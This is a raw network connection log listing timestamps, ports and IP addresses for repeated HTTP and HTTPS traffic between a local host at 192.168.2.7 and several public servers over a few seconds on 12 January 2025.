Jan 12, 2025 09:26:49.369851112 CET	80	49945	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:49.369925022 CET	49945	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:49.369941950 CET	49945	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:49.374815941 CET	80	49945	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:49.595551968 CET	80	49943	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:49.595688105 CET	49943	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:49.596488953 CET	49946	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:49.596504927 CET	443	49946	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:49.596579075 CET	49946	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:49.596643925 CET	49946	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:49.596667051 CET	443	49946	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:49.596720934 CET	49946	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:49.597076893 CET	80	49943	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:49.597131014 CET	49943	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:49.597263098 CET	49947	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:49.600467920 CET	80	49943	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:49.602114916 CET	80	49947	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:49.602175951 CET	49947	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:49.602216005 CET	49947	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:49.607074022 CET	80	49947	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:49.841666937 CET	80	49945	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:49.841795921 CET	49945	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:49.842367887 CET	80	49945	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:49.842509985 CET	49945	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:49.842587948 CET	49953	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:49.842614889 CET	443	49953	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:49.842674017 CET	49953	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:49.842710972 CET	49953	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:49.842792988 CET	443	49953	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:49.842842102 CET	49953	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:49.843199015 CET	49954	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:49.846596956 CET	80	49945	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:49.847981930 CET	80	49954	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:49.848048925 CET	49954	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:49.848090887 CET	49954	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:49.852818966 CET	80	49954	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:50.062084913 CET	80	49947	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:50.062400103 CET	49947	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:50.063471079 CET	80	49947	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:50.063591957 CET	49947	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:50.067282915 CET	80	49947	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:50.067337036 CET	49957	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:50.067384958 CET	443	49957	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:50.067481995 CET	49957	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:50.068104982 CET	49957	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:50.068120003 CET	443	49957	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:50.321182013 CET	80	49954	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:50.321384907 CET	49954	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:50.321787119 CET	80	49954	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:50.322079897 CET	49958	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:50.322089911 CET	443	49958	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:50.322112083 CET	49954	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:50.322196960 CET	49958	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:50.322196960 CET	49958	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:50.322315931 CET	443	49958	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:50.322416067 CET	49958	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:50.322746038 CET	49959	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:50.326169968 CET	80	49954	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:50.327564001 CET	80	49959	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:50.327678919 CET	49959	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:50.327678919 CET	49959	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:50.332449913 CET	80	49959	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:50.542696953 CET	443	49957	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:50.542824984 CET	49957	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:50.544184923 CET	49957	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:50.544231892 CET	443	49957	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:50.544363976 CET	49957	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:50.545795918 CET	49965	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:50.545890093 CET	443	49965	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:50.546037912 CET	49965	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:50.546037912 CET	49965	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:50.546154976 CET	443	49965	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:50.546778917 CET	49966	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:50.547319889 CET	49965	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:50.551743984 CET	80	49966	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:50.554229975 CET	49966	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:50.554229975 CET	49966	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:50.559047937 CET	80	49966	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:50.807281971 CET	80	49959	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:50.807610989 CET	49959	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:50.807976961 CET	80	49959	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:50.808139086 CET	49959	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:50.808218956 CET	49967	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:50.808238029 CET	443	49967	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:50.808316946 CET	49967	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:50.808705091 CET	49967	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:50.808705091 CET	49968	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:50.808751106 CET	443	49967	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:50.808836937 CET	49967	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:50.812483072 CET	80	49959	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:50.813611031 CET	80	49968	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:50.813709974 CET	49968	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:50.813709974 CET	49968	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:50.818571091 CET	80	49968	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:51.016730070 CET	80	49966	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:51.017213106 CET	80	49966	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:51.017256021 CET	49966	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:51.017337084 CET	49966	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:51.017647982 CET	49969	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:51.017668009 CET	443	49969	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:51.017750978 CET	49969	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:51.017750978 CET	49969	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:51.017880917 CET	443	49969	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:51.018030882 CET	49969	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:51.018224955 CET	49970	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:51.022356033 CET	80	49966	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:51.023123980 CET	80	49970	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:51.023252010 CET	49970	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:51.023252010 CET	49970	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:51.028234959 CET	80	49970	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:51.290076971 CET	80	49968	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:51.290394068 CET	80	49968	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:51.290395021 CET	49968	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:51.290487051 CET	49968	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:51.295201063 CET	80	49968	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:51.300690889 CET	49977	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:51.300709009 CET	443	49977	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:51.301378012 CET	49977	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:51.303770065 CET	49977	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:51.303786039 CET	443	49977	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:51.488451958 CET	80	49970	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:51.489672899 CET	80	49970	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:51.489773035 CET	49970	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:51.489804983 CET	49970	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:51.494585037 CET	80	49970	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:51.501596928 CET	49979	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:51.501622915 CET	443	49979	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:51.501713991 CET	49979	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:51.501739025 CET	49979	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:51.501842976 CET	443	49979	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:51.503716946 CET	49979	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:51.505852938 CET	49980	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:51.510806084 CET	80	49980	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:51.510970116 CET	49980	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:51.513422012 CET	49980	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:51.518258095 CET	80	49980	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:51.770852089 CET	443	49977	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:51.771011114 CET	49977	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:51.799278021 CET	49977	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:51.799499035 CET	443	49977	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:51.799604893 CET	49977	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:51.814448118 CET	49981	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:51.814495087 CET	443	49981	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:51.814595938 CET	49981	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:51.814595938 CET	49981	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:51.814784050 CET	443	49981	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:51.814909935 CET	49981	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:51.818432093 CET	49982	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:51.823384047 CET	80	49982	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:51.825752020 CET	49982	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:51.832053900 CET	49982	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:51.836939096 CET	80	49982	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:52.037334919 CET	80	49980	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:52.037609100 CET	80	49980	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:52.037705898 CET	49980	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:52.041441917 CET	49980	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:52.046252012 CET	80	49980	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:52.053400040 CET	49983	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:52.053448915 CET	443	49983	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:52.053518057 CET	49983	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:52.053561926 CET	49983	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:52.053704023 CET	443	49983	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:52.053769112 CET	49983	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:52.062622070 CET	49984	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:52.067440987 CET	80	49984	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:52.067507982 CET	49984	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:52.067549944 CET	49984	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:52.072365999 CET	80	49984	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:52.293606043 CET	80	49982	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:52.294197083 CET	80	49982	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:52.294245005 CET	49982	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:52.297807932 CET	49982	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:52.302566051 CET	80	49982	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:52.317076921 CET	49985	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:52.317122936 CET	443	49985	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:52.317200899 CET	49985	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:52.317226887 CET	49985	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:52.317354918 CET	443	49985	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:52.317419052 CET	49985	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:52.322384119 CET	49986	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:52.327347040 CET	80	49986	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:52.327419996 CET	49986	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:52.335328102 CET	49986	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:52.340260983 CET	80	49986	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:52.532346010 CET	80	49984	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:52.532891035 CET	80	49984	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:52.532952070 CET	49984	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:52.534226894 CET	49984	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:52.539069891 CET	80	49984	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:52.548902035 CET	49994	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:52.548922062 CET	443	49994	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:52.548983097 CET	49994	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:52.550303936 CET	49994	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:52.550318003 CET	443	49994	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:52.811049938 CET	80	49986	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:52.811232090 CET	49986	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:52.812136889 CET	49995	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:52.812165976 CET	443	49995	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:52.812228918 CET	49995	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:52.812300920 CET	49995	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:52.812315941 CET	80	49986	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:52.812360048 CET	49986	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:52.812388897 CET	443	49995	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:52.812433004 CET	49995	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:52.812877893 CET	49996	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:52.816113949 CET	80	49986	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:52.817651987 CET	80	49996	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:52.817714930 CET	49996	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:52.817740917 CET	49996	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:52.822582006 CET	80	49996	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:53.005059004 CET	443	49994	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:53.005137920 CET	49994	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:53.007047892 CET	49994	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:53.007078886 CET	443	49994	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:53.007131100 CET	49994	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:53.007750034 CET	49997	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:53.007766962 CET	443	49997	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:53.007843971 CET	49997	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:53.007884026 CET	49997	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:53.007941961 CET	443	49997	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:53.007989883 CET	49997	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:53.008433104 CET	49998	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:53.013261080 CET	80	49998	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:53.013351917 CET	49998	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:53.013351917 CET	49998	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:53.018162012 CET	80	49998	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:53.293430090 CET	80	49996	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:53.293528080 CET	49996	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:53.293850899 CET	80	49996	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:53.293982983 CET	49996	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:53.294394970 CET	50004	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:53.294410944 CET	443	50004	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:53.294500113 CET	50004	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:53.294538975 CET	50004	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:53.294573069 CET	443	50004	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:53.294616938 CET	50004	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:53.295042038 CET	50005	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:53.298378944 CET	80	49996	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:53.299812078 CET	80	50005	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:53.299882889 CET	50005	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:53.299988031 CET	50005	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:53.304790020 CET	80	50005	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:53.497879982 CET	80	49998	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:53.498017073 CET	49998	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:53.498882055 CET	50006	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:53.498928070 CET	443	50006	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:53.498959064 CET	80	49998	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:53.499000072 CET	50006	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:53.499057055 CET	50006	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:53.499075890 CET	49998	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:53.499257088 CET	443	50006	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:53.499331951 CET	50006	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:53.499511003 CET	50007	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:53.502866030 CET	80	49998	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:53.504332066 CET	80	50007	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:53.504399061 CET	50007	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:53.504475117 CET	50007	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:53.509258986 CET	80	50007	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:53.768282890 CET	80	50005	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:53.768440962 CET	50005	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:53.768892050 CET	80	50005	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:53.769011974 CET	50005	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:53.772330046 CET	50010	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:53.772387028 CET	443	50010	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:53.772470951 CET	50010	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:53.773499966 CET	50010	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:53.773525953 CET	443	50010	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:53.773636103 CET	80	50005	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:53.958750963 CET	80	50007	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:53.958864927 CET	50007	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:53.958964109 CET	80	50007	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:53.959022045 CET	50007	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:53.959548950 CET	50011	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:53.959567070 CET	443	50011	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:53.959666014 CET	50011	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:53.959686995 CET	50011	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:53.959777117 CET	443	50011	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:53.959846973 CET	50011	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:53.960197926 CET	50012	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:53.963723898 CET	80	50007	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:53.965091944 CET	80	50012	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:53.965188026 CET	50012	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:53.965317011 CET	50012	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:53.970146894 CET	80	50012	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:54.235552073 CET	443	50010	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:54.235795021 CET	50010	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:54.236846924 CET	50010	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:54.236885071 CET	443	50010	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:54.236975908 CET	50010	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:54.237458944 CET	50017	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:54.237488985 CET	443	50017	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:54.237616062 CET	50017	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:54.237616062 CET	50017	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:54.237809896 CET	443	50017	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:54.237931013 CET	50017	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:54.238157034 CET	50018	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:54.243009090 CET	80	50018	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:54.243134022 CET	50018	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:54.243134022 CET	50018	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:54.247916937 CET	80	50018	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:54.421447039 CET	80	50012	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:54.421612024 CET	50012	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:54.422247887 CET	50020	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:54.422266006 CET	443	50020	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:54.422331095 CET	50020	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:54.422539949 CET	50020	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:54.422583103 CET	443	50020	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:54.422614098 CET	80	50012	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:54.422681093 CET	50020	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:54.422684908 CET	50012	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:54.422859907 CET	50021	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:54.426347017 CET	80	50012	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:54.427613020 CET	80	50021	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:54.427715063 CET	50021	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:54.427807093 CET	50021	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:54.432934999 CET	80	50021	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:54.716919899 CET	80	50018	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:54.718724012 CET	50018	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:54.718920946 CET	80	50018	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:54.719034910 CET	50018	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:54.723484993 CET	80	50018	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:54.727818966 CET	50022	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:54.727869034 CET	443	50022	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:54.728097916 CET	50022	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:54.728283882 CET	50022	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:54.728336096 CET	443	50022	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:54.728441954 CET	50022	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:54.729340076 CET	50023	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:54.734126091 CET	80	50023	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:54.734214067 CET	50023	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:54.734214067 CET	50023	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:54.739028931 CET	80	50023	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:54.910401106 CET	80	50021	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:54.910614967 CET	80	50021	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:54.911698103 CET	50021	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:54.931703091 CET	50021	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:54.936475992 CET	50030	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:54.936516047 CET	443	50030	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:54.936537981 CET	80	50021	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:54.940241098 CET	50030	443	192.168.2.7	104.21.60.172
